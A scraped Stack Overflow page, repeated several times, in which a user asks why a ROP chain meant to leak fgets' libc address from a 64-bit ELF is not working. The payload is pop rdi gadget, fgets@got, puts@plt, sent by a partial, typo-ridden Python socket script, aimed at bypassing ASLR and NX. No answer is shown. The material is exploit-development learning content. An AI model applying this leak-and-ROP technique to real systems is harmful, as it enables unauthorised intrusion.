Buffer Overflow leaking libc address











up vote
-1
down vote

favorite
1












I'm studying more about memory leak to bypass ASLR + NX through a buffer overflow.
I can understand how it's works but I can not leak the address of a function.



[SUMMARY]



My binary is an ELF 64 bits.
In main( ) i have puts(), printf(), fflush() and a simple buffer overflow with fgets() function.



[DEBUG /GDB]



I can overwrite the RIP and I can see that my instructions are working as my payload below. But I do not see a leak



[MY PAYLOAD]



`junk + gadget (pop rdi; ret) + fgets@got + puts@plt`


I made it this way to leak fgets address.



I put pop rdi; ret because puts needs a single argument, and fgets@plt pop to rdi being this argument.Then following with ret that "call" a puts@plt.



What am I doing wrong?



[REMOTELY]



When trying remotely I'm having problem with python



buf = ' '


buf += struct.pack("<Q", addr_gadgets)



buf += struct.pack("<Q",addr_fgets@got)



buf += struct.pack("<Q", addr_puts@plt)



s.send(buf+"n")



r = s.recv(1024) [-8:]



leak = srtruct.unpack("<Q", r)



print "address leaked", hex(leak[0])



struct.error: unpack requires a string argument of lenght 8



why?










share|improve this question


























    up vote
    -1
    down vote

    favorite
    1












    I'm studying more about memory leak to bypass ASLR + NX through a buffer overflow.
    I can understand how it's works but I can not leak the address of a function.



    [SUMMARY]



    My binary is an ELF 64 bits.
    In main( ) i have puts(), printf(), fflush() and a simple buffer overflow with fgets() function.



    [DEBUG /GDB]



    I can overwrite the RIP and I can see that my instructions are working as my payload below. But I do not see a leak



    [MY PAYLOAD]



    `junk + gadget (pop rdi; ret) + fgets@got + puts@plt`


    I made it this way to leak fgets address.



    I put pop rdi; ret because puts needs a single argument, and fgets@plt pop to rdi being this argument.Then following with ret that "call" a puts@plt.



    What am I doing wrong?



    [REMOTELY]



    When trying remotely I'm having problem with python



    buf = ' '


    buf += struct.pack("<Q", addr_gadgets)



    buf += struct.pack("<Q",addr_fgets@got)



    buf += struct.pack("<Q", addr_puts@plt)



    s.send(buf+"n")



    r = s.recv(1024) [-8:]



    leak = srtruct.unpack("<Q", r)



    print "address leaked", hex(leak[0])



    struct.error: unpack requires a string argument of lenght 8



    why?










    share|improve this question
























      up vote
      -1
      down vote

      favorite
      1









      up vote
      -1
      down vote

      favorite
      1






      1





      I'm studying more about memory leak to bypass ASLR + NX through a buffer overflow.
      I can understand how it's works but I can not leak the address of a function.



      [SUMMARY]



      My binary is an ELF 64 bits.
      In main( ) i have puts(), printf(), fflush() and a simple buffer overflow with fgets() function.



      [DEBUG /GDB]



      I can overwrite the RIP and I can see that my instructions are working as my payload below. But I do not see a leak



      [MY PAYLOAD]



      `junk + gadget (pop rdi; ret) + fgets@got + puts@plt`


      I made it this way to leak fgets address.



      I put pop rdi; ret because puts needs a single argument, and fgets@plt pop to rdi being this argument.Then following with ret that "call" a puts@plt.



      What am I doing wrong?



      [REMOTELY]



      When trying remotely I'm having problem with python



      buf = ' '


      buf += struct.pack("<Q", addr_gadgets)



      buf += struct.pack("<Q",addr_fgets@got)



      buf += struct.pack("<Q", addr_puts@plt)



      s.send(buf+"n")



      r = s.recv(1024) [-8:]



      leak = srtruct.unpack("<Q", r)



      print "address leaked", hex(leak[0])



      struct.error: unpack requires a string argument of lenght 8



      why?










      share|improve this question













      I'm studying more about memory leak to bypass ASLR + NX through a buffer overflow.
      I can understand how it's works but I can not leak the address of a function.



      [SUMMARY]



      My binary is an ELF 64 bits.
      In main( ) i have puts(), printf(), fflush() and a simple buffer overflow with fgets() function.



      [DEBUG /GDB]



      I can overwrite the RIP and I can see that my instructions are working as my payload below. But I do not see a leak



      [MY PAYLOAD]



      `junk + gadget (pop rdi; ret) + fgets@got + puts@plt`


      I made it this way to leak fgets address.



      I put pop rdi; ret because puts needs a single argument, and fgets@plt pop to rdi being this argument.Then following with ret that "call" a puts@plt.



      What am I doing wrong?



      [REMOTELY]



      When trying remotely I'm having problem with python



      buf = ' '


      buf += struct.pack("<Q", addr_gadgets)



      buf += struct.pack("<Q",addr_fgets@got)



      buf += struct.pack("<Q", addr_puts@plt)



      s.send(buf+"n")



      r = s.recv(1024) [-8:]



      leak = srtruct.unpack("<Q", r)



      print "address leaked", hex(leak[0])



      struct.error: unpack requires a string argument of lenght 8



      why?







      python memory-leaks glibc buffer-overflow libc






      share|improve this question













      share|improve this question











      share|improve this question




      share|improve this question










      asked Nov 22 at 13:50









      F33r

      11




      11





























          active

          oldest

          votes











          Your Answer






          StackExchange.ifUsing("editor", function () {
          StackExchange.using("externalEditor", function () {
          StackExchange.using("snippets", function () {
          StackExchange.snippets.init();
          });
          });
          }, "code-snippets");

          StackExchange.ready(function() {
          var channelOptions = {
          tags: "".split(" "),
          id: "1"
          };
          initTagRenderer("".split(" "), "".split(" "), channelOptions);

          StackExchange.using("externalEditor", function() {
          // Have to fire editor after snippets, if snippets enabled
          if (StackExchange.settings.snippets.snippetsEnabled) {
          StackExchange.using("snippets", function() {
          createEditor();
          });
          }
          else {
          createEditor();
          }
          });

          function createEditor() {
          StackExchange.prepareEditor({
          heartbeatType: 'answer',
          convertImagesToLinks: true,
          noModals: true,
          showLowRepImageUploadWarning: true,
          reputationToPostImages: 10,
          bindNavPrevention: true,
          postfix: "",
          imageUploader: {
          brandingHtml: "Powered by u003ca class="icon-imgur-white" href="https://imgur.com/"u003eu003c/au003e",
          contentPolicyHtml: "User contributions licensed under u003ca href="https://creativecommons.org/licenses/by-sa/3.0/"u003ecc by-sa 3.0 with attribution requiredu003c/au003e u003ca href="https://stackoverflow.com/legal/content-policy"u003e(content policy)u003c/au003e",
          allowUrls: true
          },
          onDemand: true,
          discardSelector: ".discard-answer"
          ,immediatelyShowMarkdownHelp:true
          });


          }
          });














          draft saved

          draft discarded


















          StackExchange.ready(
          function () {
          StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fstackoverflow.com%2fquestions%2f53432461%2fbuffer-overflow-leaking-libc-address%23new-answer', 'question_page');
          }
          );

          Post as a guest















          Required, but never shown






























          active

          oldest

          votes













          active

          oldest

          votes









          active

          oldest

          votes






          active

          oldest

          votes
















          draft saved

          draft discarded




















































          Thanks for contributing an answer to Stack Overflow!


          • Please be sure to answer the question. Provide details and share your research!

          But avoid



          • Asking for help, clarification, or responding to other answers.

          • Making statements based on opinion; back them up with references or personal experience.


          To learn more, see our tips on writing great answers.





          Some of your past answers have not been well-received, and you're in danger of being blocked from answering.


          Please pay close attention to the following guidance:


          • Please be sure to answer the question. Provide details and share your research!

          But avoid



          • Asking for help, clarification, or responding to other answers.

          • Making statements based on opinion; back them up with references or personal experience.


          To learn more, see our tips on writing great answers.




          draft saved


          draft discarded














          StackExchange.ready(
          function () {
          StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fstackoverflow.com%2fquestions%2f53432461%2fbuffer-overflow-leaking-libc-address%23new-answer', 'question_page');
          }
          );

          Post as a guest















          Required, but never shown





















































          Required, but never shown














          Required, but never shown












          Required, but never shown







          Required, but never shown

































          Required, but never shown














          Required, but never shown












          Required, but never shown







          Required, but never shown







          Popular posts from this blog

          A CLEAN and SIMPLE way to add appendices to Table of Contents and bookmarks

          Calculate evaluation metrics using cross_val_predict sklearn

          Insert data from modal to MySQL (multiple modal on website)